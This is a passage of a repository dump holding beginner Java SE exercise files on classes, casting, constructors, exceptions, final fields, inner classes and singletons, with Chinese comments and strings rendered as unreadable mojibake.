    "content": "package com.jun.plugin.javase.object;\n\npublic class AbstractTest {\n\tpublic static void main(String[] args) {\n\t\t/*Test4 t1=new Test4();\n\t\tt1.show();\n\t\tTest5 t2=new Test5();\n\t\tt2.show();*/\n\t\t\n\t\t\n\t\t/*Test4 t3=new Test4();\n\t\tTest5 t5=(Test5)t3;//��дʱ������ִ��ʱ����\n\t\tSystem.out.println(t5);\n\t\tSystem.out.println(t3 instanceof Test5);*/\n\t\t\n/*\t\t\n\t\tTest4 t3=new Test5();//����ת�ͣ����������=�����ʵ��\n\t\tTest5 t5=(Test5)t3;//����ת��\n\t\t//Test5 t6=new Test4();ֱ���������н��������������ûᱨ������ת��֮��Ķ�����ܽ�������ת�ͣ�����\n\t\t\n\t\t//t3.print();ִ�б�������ת�ͺ��������ָ�������ʵ�����󣬸�������ò���ֱ�ӵ����������еĹ���\n\t\tSystem.out.println(t3);\n\t\tSystem.out.println(t5);//ת��ǰ��Ķ�����ͬһ����ֻ���������෢���˱仯\n\t\tSystem.out.println(t3 instanceof Test5);*/\n\t\t\n//\t\tTest5 t4=new Test5();\n//\t\tSystem.out.println(t4 instanceof Test4);\n//\t\tSystem.out.println(t3 instanceof Test5);//����̳и��࣬��������ʵ��������Ҳ�Ǹ����ʵ��������\n\t\t\n\t}\n\t\n\t\n}\n/*class Test4{\n\tstatic void show(){\n\t\tSystem.out.println(1);\n\t}\n}\n\nclass Test5 extends Test4{\n\tvoid print(){\n\t\tSystem.out.println(\"�������еķ���\");\n\t}\n}\nfinal class Test6{\n\tprivate int a=5;\n\tvoid show(){\n\t\tSystem.out.println(a);\n\t}\n}*/\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/AccessProperty.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class AccessProperty {\n\tstatic int i=47;\n\tpublic void call(){\n\t\tSystem.out.println(\"����call����\");\n\t\tfor(int i=0;i<3;i++){\n\t\t\tSystem.out.print(i+\" \");\n\t\t\tif(i==2){\n\t\t\t\tSystem.out.println(\"\\n\");\n\t\t\t}\n\t\t}\n\t}\n\tpublic AccessProperty(){\n\t\t\n\t}\n\tpublic static void main(String[] args){\n\t\tAccessProperty t1=new AccessProperty();\n\t\tAccessProperty t2=new AccessProperty();\n\t\tt2.i=60;\n\t\tSystem.out.println(\"��һ��ʵ��������ñ���i�Ľ����\"+t1.i++);\n\t\tt1.call();\n\t\tSystem.out.println(\"�ڶ���ʵ��������ñ���i�Ľ����\"+t2.i);\n\t\tt2.call();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Book.java",
    "content": "package com.jun.plugin.javase.object;\n\nimport java.util.Arrays;\nimport java.util.Scanner;\npublic class Book{\n\tpublic static void main(String[] args) {\n\t\tBook1 b1=new Book1(1,\"java���ŵ���ͨ\",23,\"����\",\"�廪��ѧ������\",\"��8��\",true,\"���˺ͷ������ϵļ�¼����ˢ��������������Ұ����ɭ\");\n\t\tBook1 b2=new Book1(2,\"php���ŵ���ͨ\",24.99,\"����\",\"�廪��ѧ������\",\"��7��\",false,\"ʱ��ݻظ�ISO����Ŷ���ļ���is��\");\n\t\tBook1 b3=new Book1(3,\"c�������ŵ���ͨ\",25.99,\"����\",\"�廪��ѧ������\",\"��6��\",true,\"�ǣ�������ݷ��࿼�Եľ��뿼�Զ���\");\n\t\tBook1 b4=new Book1(4,\"c++���ŵ���ͨ\",26.99,\"����\",\"�廪��ѧ������\",\"��5��\",false,\"����IE���ֵ�ŷʮ����ʮ�������û����\");\n\t\tBook1 b5=new Book1(5,\"python���ŵ���ͨ\",27.99,\"����\",\"�廪��ѧ������\",\"��4��\",true,\"�������ͶƱ���ҿ���ż������˵\");\n\t\tBook1 b6=new Book1(6,\"html5���ŵ���ͨ\",28,\"�Ű�\",\"�廪��ѧ������\",\"��3��\",true,\"�������ܽ���������ż��������������˶��ٻ�\");\n\t\tBook1 b7=new Book1(7,\"css3���ŵ���ͨ\",29.99,\"�ž�\",\"�廪��ѧ������\",\"��2��\",false,\"��IE���ҾͶ��ÿ������Ѷ�ŶID����ŷ��\");\n\t\tBook1 b8=new Book1(8,\"javascript���ŵ���ͨ\",23,\"��ʮ\",\"�廪��ѧ������\",\"��1��\",true,\"¥�Ϸֿ���ʥ���ڷ���˵�ʵ�ʸ����˵�������\");\n\t\t\n\t\t//System.out.println(b7.getAll());\n\t\t//System.out.println(Arrays.toString(bookArr));\n\t\t\n\t\tBook1[] bookArr={b1,b2,b3,b4,b5,b6,b7,b8};\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"������ͼ�����Ƽ�����\");\n\t\tString keyName=scan.next();\n\t\tkeySearch(bookArr,keyName);\n\t}\n\t\n\tstatic void keySearch(Book1[]bookArr,String key){\n\t\tboolean find=true;\n\t\tfor(int i=0;i<bookArr.length;i++){\n\t\t\tif(bookArr[i].getName().contains(key)){\n\t\t\t\tSystem.out.println(bookArr[i]);\n\t\t\t\tfind=false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t\tif(find==true){\n\t\t\tSystem.out.println(\"�޽��\");\n\t\t}\n\t}\n}\n\nclass Book1 {\n\tprivate int id;\n\tprivate String name;\n\tprivate double price;\n\tprivate String author;\n\tprivate String publish;\n\tprivate String edition;\n\tprivate boolean sell;\n\tprivate String intro;\n\t\n\tpublic Book1(){\n\t\t\n\t}\n\tpublic Book1(int id){\n\t\tthis.id=id;\n\t}\n\tpublic Book1(String name){\n\t\tthis.name=name;\n\t}\n\tpublic Book1(int id,String name){\n\t\tthis.id=id;\n\t\tthis.name=name;\n\t}\n\tpublic Book1(int id,String name,double price){\n\t\tthis(id,name);\n\t\tthis.price=price;\n\t}\n\tpublic Book1(int id,String name,double price,String author,String publish,String edition,boolean sell,String intro){\n\t\tthis(id,name,price);\n\t\tthis.author=author;\n\t\tthis.publish=publish;\n\t\tthis.edition=edition;\n\t\tthis.sell=sell;\n\t\tthis.intro=intro;\n\t}\n\tpublic void setId(int id){\n\t\tthis.id=id;\n\t}\n\tpublic int getId(){\n\t\treturn id;\n\t}\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic String getName(){\n\t\treturn name;\n\t}\n\tpublic void setPrice(Double price){\n\t\tthis.price=price;\n\t}\n\tpublic void setPrice(int price){\n\t\tthis.price=price;\n\t}\n\tpublic Double getPrice(){\n\t\treturn price;\n\t}\n\tpublic void setAuthor(String author){\n\t\tthis.author=author;\n\t}\n\tpublic String getAuthor(){\n\t\treturn author;\n\t}\n\tpublic void setPublish(String publish){\n\t\tthis.publish=publish;\n\t}\n\tpublic String getPublish(){\n\t\treturn publish;\n\t}\n\tpublic void setEdition(String edition){\n\t\tthis.edition=edition;\n\t}\n\tpublic String getEdition(){\n\t\treturn edition;\n\t}\n\tpublic void setSell(boolean sell){\n\t\tthis.sell=sell;\n\t}\n\tpublic boolean getSell(){\n\t\treturn sell;\n\t}\n\tpublic void setIntro(String intro){\n\t\tthis.intro=intro;\n\t}\n\tpublic String getIntro(){\n\t\treturn intro;\n\t}\n\tpublic void setAll(int id,String name,double price,String author,String publish,String edition,boolean sell,String intro){\n\t\tthis.id=id;\n\t\tthis.name=name;\n\t\tthis.price=price;\n\t\tthis.author=author;\n\t\tthis.publish=publish;\n\t\tthis.edition=edition;\n\t\tthis.sell=sell;\n\t\tthis.intro=intro;\n\t}\n\tpublic String getAll(){\n\t\tString isSell=this.getSell1();\n\t\treturn \"{ͼ����=\" + id + \", ͼ������=\" + name +\", ͼ��۸�=\" + price + \", ����=\" + author +\", ������=\" + publish +\", �汾��=\" + edition +\", �Ƿ���=\" + isSell +\", ͼ����=\" + intro +\"}\"+\"\\n\";\n\t}\n\t\n\tpublic String getSell1(){\n\t\tif(this.sell){\n\t\t\treturn \"������\";\n\t\t}\n\t\telse{\n\t\t\treturn \"�ǳ�����\";\n\t\t}\n\t}\n\tpublic String toString() {\n\t\tString isSell=this.getSell1();\n\t\treturn \"{ͼ����=\" + id + \", ͼ������=\" + name +\", ͼ��۸�=\" + price + \", ����=\" + author +\", ������=\" + publish +\", �汾��=\" + edition +\", �Ƿ���=\" + isSell +\", ͼ����=\" + intro +\"}\"+\"\\n\";\n\t}\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Book2.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Book2 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tString[][] arr={{\"aa\"},{\"bb\"},{\"cc\"},{\"dd\"}};\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr[0].length;j++){\n\t\t\t\tSystem.out.print(arr[i][j]+\",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\t\n\t}\n}\nclass book3{\n\t\n\t\n\tprivate class science{\n\t\tprivate int id;\n\t\tprivate String name;\n\t\tprivate double price;\n\t\tprivate String author;\n\t\tprivate String publish;\n\t\tprivate String edition;\n\t\tprivate boolean sell;\n\t\tprivate String intro;\n\t\t\n\t\tpublic science(){\n\t\t\t\n\t\t}\n\t\tpublic science(int id){\n\t\t\tthis.id=id;\n\t\t}\n\t\tpublic science(String name){\n\t\t\tthis.name=name;\n\t\t}\n\t\tpublic science(int id,String name){\n\t\t\tthis.id=id;\n\t\t\tthis.name=name;\n\t\t}\n\t\tpublic science(int id,String name,double price){\n\t\t\tthis(id,name);\n\t\t\tthis.price=price;\n\t\t}\n\t\tpublic science(int id,String name,double price,String author,String publish,String edition,boolean sell,String intro){\n\t\t\tthis(id,name,price);\n\t\t\tthis.author=author;\n\t\t\tthis.publish=publish;\n\t\t\tthis.edition=edition;\n\t\t\tthis.sell=sell;\n\t\t\tthis.intro=intro;\n\t\t}\n\t}\n\tprivate class literature extends science{\n\t\tpublic literature(){\n\t\t\tsuper();\n\t\t}\n\t}\n\tprivate class politics extends science{\n\t\tpublic politics(){\n\t\t\tsuper();\n\t\t}\n\t}\n\tprivate class novel extends science{\n\t\tpublic novel(){\n\t\t\tsuper();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Compare.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Compare {\n\tpublic static void main(String[] args) {\n\t\tCom num=new Com(\"����\",21);\n\t\tCom num2=new Com(\"����\",21);\n\t\t//System.out.println(num);\n\t\t//System.out.println(num2);\n\t\tSystem.out.println(num.compare(num2));\n\t}\n}\n\n\nclass Com{\n\tString name;\n\tint age;\n\tCom(){\n\n\t}\n\tCom(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\tpublic void printThis() {\n\t\tSystem.out.println(this.name);\n\t}\n\tpublic boolean compare(Com obj){\n\t\t//System.out.println(obj);\n\t\treturn (obj.age==this.age&&obj.name.equals(this.name));//ͬһ�����ǰ���¿���ʹ�ô˷�������˻�Ҫ�ж��Ƿ���ͬһ����\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/ConstructT.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class ConstructT {\n\tpublic static void main(String[] args) {\n\t\tConstruct student=new Construct();//���Զ��彨���вι��캯����ԭ�����޲ι��캯������ʧ�ˣ������ʹ���޲ε���ʽ����������ᱨ��\n\t\tstudent.setName(\"zahngsan\");\n\t\tstudent.setAge(12);\n\t\tstudent.print();\n\t\t\n\t\t/*Construct student2=new Construct(\"����\",20);\n\t\tstudent2.print();*/\n\t\t\n\t\t\n\t\t\n\t\tConstruct s3=student;\n\t\ts3.age=99;\n\t\ts3.name=\"����\";\n\t\ts3.print();\n\t\tstudent.print();//���������\n\t\t\n\t}\n}\n\nclass Construct{\n\tString name;\n\tint age;\n\tpublic Construct(){\n\t\t//System.out.println(\"���ǹ��캯��\");\n\t\tname=\"����\";\n\t\tage=21;\n\t}\n\tpublic Construct(String name1,int age1){\n\t\tage=age1;\n\t\tname=name1;\n\t}\n\tpublic void setName(String name1){\n\t\tname=name1;\n\t}\n\tpublic void setAge(int age1){\n\t\tage=age1;\n\t}\n\tpublic void print(){\n\t\tSystem.out.println(name+\"====\"+age);\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Encapsulate.java",
    "content": "package com.jun.plugin.javase.object;\n\nimport java.util.Arrays;\n\npublic class Encapsulate {\n\tpublic static void main(String[] args) {\n\t\tPerson per=new Person();\n\t\tper.setAge(12);\n\t\tper.setName(\"Ѽ��\");\n\t\tper.print();\n\t\t\n\t\tint[] arr={12,5,8,9,4,18,1};\n\t\tfor(int i=1;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr.length-i;j++){\n\t\t\t\tif(arr[j]>arr[j+1]){\n\t\t\t\t\tswap(arr,j,j+1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arr));\n\t}\n\t\n\t\n\t\n\tstatic void swap(int[] arr,int m,int n){\n\t\tint temp=arr[m];\n\t\tarr[m]=arr[n];\n\t\tarr[n]=temp;\n\t}\n\t\n\tpublic static void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n\nclass Person{\n\tprivate int age;\n\tprivate String name;\n\t\n\tpublic void setAge(int age){\n\t\tthis.age=age;\n\t}\n\tpublic void setName(String name){\n\t\tthis.name=name;\n\t}\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t\n\tvoid print(){\n\t\tSystem.out.println(age+\"======\"+name);\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Exception1.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Exception1 {\n\tpublic static void main(String[] args) {\n\t\tint[] arr1=new int[4];\n\t\tException1 e=new Exception1();\n\t\tSystem.out.println(e.method(arr1, -3));\n\t}\n\t\n\tpublic int method(int[] arr,int index){\n\t\tif(arr==null){\n\t\t\tthrow new NullPointerException(\"����Ϊ��\");\n\t\t}\n\t\tif(index>=arr.length){\n\t\t\tthrow new ArrayIndexOutOfBoundsException(\"�����±�Խ��\"+index);\n\t\t}\n\t\tif(index<0){\n\t\t\tthrow new FushuException1(index);\n\t\t}\n\t\treturn arr[index];\n\t}\n}\n\n\n\nclass FushuException1 extends RuntimeException{\n\tFushuException1(int index){\n\t\tsuper(\"�±겻��Ϊ����\"+index);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/ExceptionWork.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class ExceptionWork {\n\tpublic static void main(String[] args) {\n\t\tComputer c1=new Computer(1);\n\t\tTeacher t1=new Teacher();\n\t\tt1.lession(c1);\n\t}\n}\nclass Teacher{\n\tvoid lession(Computer comp){\n\t\ttry{\n\t\t\tcomp.run();\n\t\t\tSystem.out.println(\"��ʼ�Ͽ�\");\n\t\t\tSystem.exit(0);\n\t\t}catch(BlueScreen e){\n\t\t\te.printStackTrace();\n\t\t}catch(Crashed e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tSystem.out.println(\"���Ի��ˣ�����ϰ\");\n\t\t}\n\t}\n\t\n}\nclass Computer{\n\tprivate int condition=0;\n\tComputer(int condition){\n\t\tthis.condition=condition;\n\t}\n\t\n\tvoid setCondition(int condition){\n\t\tthis.condition=condition;\n\t}\n\tvoid run(){\n\t\tif(condition==0){\n\t\t\tthrow new Crashed(\"����������\");\n\t\t}\n\t\tif(condition==1){\n\t\t\tthrow new BlueScreen(\"����������\");\n\t\t}\n\t\tif(condition>1){\n\t\t\tSystem.out.println(\"������������\");\n\t\t}\n\t}\n}\nclass BlueScreen extends RuntimeException{\n\tBlueScreen(String msg){\n\t\tsuper(msg);\n\t}\n}\nclass Crashed extends RuntimeException{\n\tCrashed(String msg){\n\t\tsuper(msg);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/ExceptionWork11.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class ExceptionWork11 {\n\tpublic static void main(String[] args) {\n\t\tTeacher1 t1=new Teacher1(\"����\");\n\t\ttry{\n\t\t\tt1.prelect();\n\t\t}catch(NoPlanException2 e){\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(e.toString());\n\t\t}\n\t}\n}\n\nclass Teacher1{\n\tprivate String name;\n\tprivate Computer1 comp;\n\tTeacher1(String name){\n\t\tthis.name=name;\n\t\tcomp=new Computer1();\n\t}\n\tpublic void prelect()throws NoPlanException2{\n\t\ttry{\n\t\t\tcomp.run();\n\t\t\tSystem.out.println(name+\"���Ͽ�\");\n\t\t}catch(LanPingException2 e){\n\t\t\tSystem.out.println(e.toString());\n\t\t\te.printStackTrace();\n\t\t\tcomp.reset();\n\t\t\tprelect();\n\t\t}catch(MaoYanException2 e){\n\t\t\te.printStackTrace();\n\t\t\ttest();\n\t\t\tthrow new NoPlanException2(\"�γ��޷�����\");\n\t\t}\n\t}\n\tpublic void test(){\n\t\tSystem.out.println(\"����ϰ\");\n\t}\n}\nclass Computer1{\n\tprivate int state;\n\tComputer1(){\n\t\t\n\t}\n\tpublic void run() throws LanPingException2,MaoYanException2{\n\t\tstate=(int)(Math.random()*3+1);\n\t\tif(state==1)\n\t\t\tthrow new LanPingException2(\"������\");\n\t\tif(state==2)\n\t\t\tthrow new MaoYanException2(\"ð����\");\n\t\tSystem.out.println(\"��������\");\n\t}\n\tpublic void reset(){\n\t\tstate=0;\n\t\tSystem.out.println(\"��������\");\n\t}\n}\nclass LanPingException2 extends Exception{\n\tLanPingException2(String msg){\n\t\tsuper(msg);\n\t}\n}\nclass MaoYanException2 extends Exception{\n\tMaoYanException2(String msg){\n\t\tsuper(msg);\n\t}\n}\nclass NoPlanException2 extends Exception{\n\tNoPlanException2(String msg){\n\t\tsuper(msg);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/ExtendsKey.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class ExtendsKey {\n\tpublic static void main(String[] args) {\n//\t\tSon s=new Son();\n\t\t\n\t\tFather f2=new Father();\n\t\t\n\t}\n}\n\n\nclass Father{\n\t\n\tstatic Father f1=new Father();\n\t\n\tFather(){\n\t\tSystem.out.println(\"���캯��\");\n\t\tSystem.out.println(f1);\n\t}\n\tvoid show(){\n\t\t\n\t}\n}\n/*class Son extends Father{\n\tint num=8;\n\tSon(){\n\t\tSystem.out.println(num);\n\t\tnum=10;\n\t\tSystem.out.println(num);\n\t}\n\tvoid show(){\n\t\tSystem.out.println(\"Son����\"+\"=========\"+num);\n\t}\n}*/\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/FinalKey.java",
    "content": "package com.jun.plugin.javase.object;\n\nimport java.util.Random;\n\npublic class FinalKey {\n\tpublic static void main(String[] args) {\n\t\t/*FatherDemo data=new FatherDemo();\n\t\tdata.test=new Test1();\n\t\t\n\t\tdata.value2++;\n\t\t\n\t\tdata.test2=new Test1();\n\t\t\n\t\tfor(int i=0;i<data.a.length;i++){\n\t\t\ta[i]=9;\n\t\t}\n\t\tSystem.out.println(data);\n\t\tSystem.out.println(\"data2\");\n\t\tSystem.out.println(new FatherDemo());\n\t\tSystem.out.println(data);*/\n\t\tFatherDemo f1=new FatherDemo();\n\t\tf1.test();\n\t}\n}\nclass Test1{\n\tint i=0;\n}\n\nclass FatherDemo{\n\tstatic Random rand=new Random();\n\tprivate final int VALUE_1=9;\n\t\n\tprivate static final int VALUE_2=10;\n\t\n\tprivate final Test1 test=new Test1();\n\t\n\tprivate Test1 test2=new Test1();\n\t\n\tprivate final int[] a={1,2,3,4,5};\n\t\n\tprivate final int i4=rand.nextInt(20);\n\t\n\tprivate static final int i5=rand.nextInt(20);\n\t\n\tpublic String toString(){\n\t\treturn i4+\" \"+i5+\" \";\n\t}\n\t\n\tpublic void test(){\n\t\tSystem.out.println(VALUE_1);\n\t}\n\t\n\t\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/FinalKey2.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class FinalKey2 {\n\tpublic static void main(String[] args) {\n\t\tDemo2 d1=new Demo2();\n\t\td1.show();\n\t\t\n\t\t/*Demo2 d2=new Demo2();\n\t\td2.show();*/\n\t}\n}\nclass Demo2{\n\t\n\t\n\tstatic Demo2 d=new Demo2();\n\tstatic int n=0;\n\t\n\tDemo2(){\n\t\tn++;\n\t}\n\tvoid show(){\n\t\tSystem.out.println(n);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Homework.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Homework {\n\tpublic static void main(String[] args) {\n\t\tnew Son(\"С��\",11);\n\t}\n}\nclass Grandpa{\n\tString name;\n\tint age;\n\tstatic Son s1=new Son(\"С��\",12);\n\tstatic Son s2=new Son(\"С��\",12);\n\tstatic{\n\t\tSystem.out.println(\"����үү�ľ�̬��\");\n\t}\n\t{\n\t\tSystem.out.println(\"����үү�Ĺ�������\");\n\t}\n\tGrandpa(String name,int age){\n\t\tSystem.out.println(\"����үү�Ĺ��캯��\");\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n}\nclass Father11 extends Grandpa{\n\tstatic Son s1=new Son(\"С��\",12);\n\tstatic Son s2=new Son(\"С��\",12);\n\tstatic {\n\t\tSystem.out.println(\"���Ǹ��׵ľ�̬��\");\n\t}\n\t{\n\t\tSystem.out.println(\"���Ǹ��׵Ĺ�������\");\n\t}\n\tFather11(String name,int age){\n\t\tsuper(name,age);\n\t\tSystem.out.println(\"���Ǹ��׵Ĺ��캯��\");\n\t}\n}\nclass Son extends Father11{\n\tint number=10;\n\tstatic {\n\t\tSystem.out.println(\"���Ƕ��ӵľ�̬��\");\n\t}\n\t{\t\n\t\tSystem.out.println(number);\n\t\tSystem.out.println(\"���Ƕ��ӵĹ�������\");\n\t}\n\tSon(String name,int age){\n\t\tsuper(name,age);\n\t\tSystem.out.println(\"���Ƕ��ӵĹ��캯��\");\n\t}\n}\n/*ÿʵ����һ�ζ���ÿ��һ�ι��캯���������������������࣬�ӻ��࿪ʼִ��һ�ι��캯������̬��Ա�ڼ������ʱ���Ѿ�������ϣ�\n�˺��ټ��أ����캯��ÿnewһ�ζ���ִ��һ�Σ���������͹��캯�����ǺͶ�����صģ���̬��Ա������أ��ȼ��������е��ִࣨ�����еľ�̬���򣬴Ӹ����ӣ�����Ϊ��Ա������ֵ\n���ʵ��������ִ�й����͹��캯�����Ӹ����ӣ�;��̬��Աִֻ��һ��*/\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/InnerClass.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class InnerClass {\n\tpublic static void main(String[] args) {\n\t\t/*Outer.Inner o=new Outer().new Inner();//��Ա�ڲ��ࡪ���ڲ��಻��static������ʹ�ô˷�������\n\t\to.show();\n\t\tOuter o1=new Outer();\n\t\to1.showInner();//�����ڲ���ı���*/\n\t\t\n\t\t\n\t\t/*Outer.Inner in=new Outer.Inner();//��Ա�ڲ��ࡪ�����ڲ��౻static������ʹ�ô˷�������\n\t\tin.show();*/\n\t\t\n\t\t//Object o=new Outer().method();//�ֲ��ڲ���\n\t\t//System.out.println(o);//�ֲ��ڲ����еķ����ͱ�������������ڸ÷��������ڲ�����\n\t\tOuter.Inner o1=new Outer().new Inner();\n\t}\n}\nclass Outer{\n\tint number=5;\n\tclass Inner{\n\t\tint number=6;\n\t\tvoid show(){\n\t\t\tint number=7;\n\t\t\tSystem.out.println(\"-----------\"+number);\n\t\t}\n\t}\n\t/*\n\tvoid showInner(){\n\t\tInner a1=new Inner();\n\t\ta1.show();//6\n\t\tSystem.out.println(a1.number);//7\n\t}*/\n\t\n\tstatic{\n\t\tSystem.out.println(\"�����ⲿ��ľ�̬��\");\n\t}\n\tOuter(){\n\t\tSystem.out.println(\"�����ⲿ��Ĺ��캯��\");\n\t}\n\t\n\tObject method(){\n\t\tclass Inner{\n\t\t\tint a=12;\n\t\t\t/*static{\n\t\t\t\tSystem.out.println(\"�����ڲ���ľ�̬��\");\n\t\t\t}*/\n\t\t\tInner(){\n\t\t\t\tSystem.out.println(\"�����ڲ���Ĺ��캯��\"+\"-------a=\"+a);\n\t\t\t}\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"�ⲿ���еı���number�ǣ�\"+number);\n\t\t\t\tSystem.out.println(\"�ֲ��ڲ���ķ���\");\n\t\t\t}\n\t\t}\n\t\tInner in=new Inner();\n\t\tin.show();\n\t\treturn in;\n\t}\n}\n//�ڲ���ļ���˳������:\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/InnerClass2.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class InnerClass2 {\n\tpublic static void main(String[] args) {\n\t\tnew Demo11(){\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"��д�����෽��\");\n\t\t\t}\n\t\t\tvoid show1(){\n\t\t\t\tSystem.out.println(\"������з���\");\n\t\t\t}\n\t\t}.show1();\n\t}\n}\nabstract class Demo11{\n\tabstract void show();\n}\nclass Outer1{\n\tvoid Method(){\n\t\t/*new Demo11(){\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"��д�����෽��\");\n\t\t\t}\n\t\t\tvoid show1(){\n\t\t\t\tSystem.out.println(\"������з���\");\n\t\t\t}\n\t\t}.show1();//���ø������֣���������ʵ��������ȿ��Է��ʸ��෽����Ҳ���Է������෽��������ת�ͣ���̬��\n\t\t*/\n\t\t\n\t\t/*Demo11 d=new Demo11(){\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(\"��д�����෽��\");\n\t\t\t}\n\t\t\tvoid show1(){\n\t\t\t\tSystem.out.println(\"������з���\");\n\t\t\t}\n\t\t};//����һ��������ʵ���������������з���show1�ᱨ��\n\t\td.show();\n\t\td.show1();*/\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Instance.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Instance {\n\tpublic static void main(String[] args) {\n\t\tSingleDemo s1=SingleDemo.getInstance();\n\t\tSingleDemo s2=SingleDemo.getInstance();\n\t\t\n\t\tSystem.out.println(s1==s2);\n\t\t\n\t}\n}\nclass SingleDemo{\n\tprivate static SingleDemo s=new SingleDemo();\n\tprivate SingleDemo(){}\n\tpublic static SingleDemo getInstance(){\n\t\treturn s;\n\t}\n}\nclass Car1{\n\tprivate static Car1 c=new Car1();\n\tprivate Car1(){\n\t\t\n\t}\n\tpublic static Car1 getInstance(){\n\t\treturn c;\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/IntegerDemo.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class IntegerDemo {\n\tint a;\n\tInteger b;\n\tvoid show(){\n\t\tSystem.out.println(\"a��\"+a);\n\t\tSystem.out.println(\"b��\"+b);\n\t}\n\tpublic static void main(String[] args) {\n\t\tbyte b=5;\n\t\tByte bb=b;\n\t\tbb=b;\n\t\tb=bb;\n\t\tSystem.out.println(b+\"---------\"+bb);\n\t\tSystem.out.println(b==bb);\n\t\tnew IntegerDemo().show();\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Interface.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Interface {\n\tpublic static void main(String[] args) {\n\t\t//useUSB(new Mouse());//��̬�У�ʹ��һ���������ݴ������Ĳ�ͬ��ʵ�ֲ�ͬ�ķ�����������ʱ�ĸ�ʽ���������ģ�������ĳ������Ϊ��������ĳ������\n\t\t//Mouse m1=new Mouse();\n\t\t//m1.print();\n\t\t\n\t\tnew USB(){\n\t\t\tpublic void print(){\n\t\t\t\tSystem.out.println(1);\n\t\t\t}\n\t\t}.print();//ʹ�������ڲ��࣬����ע�Ͳ��ֵȼ�\n\t}\n\t\n\tpublic static void useUSB(USB u){}\n}\n\ninterface USB{\n\tint a=15;\n\tvoid print();\n}\n/*class Mouse implements USB{\n\tvoid show(){\n\t\tSystem.out.println(a);\n\t}\n\tpublic void print(){\n\t\tSystem.out.println(a);\n\t}\n}*/\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/InterfaceInner.java",
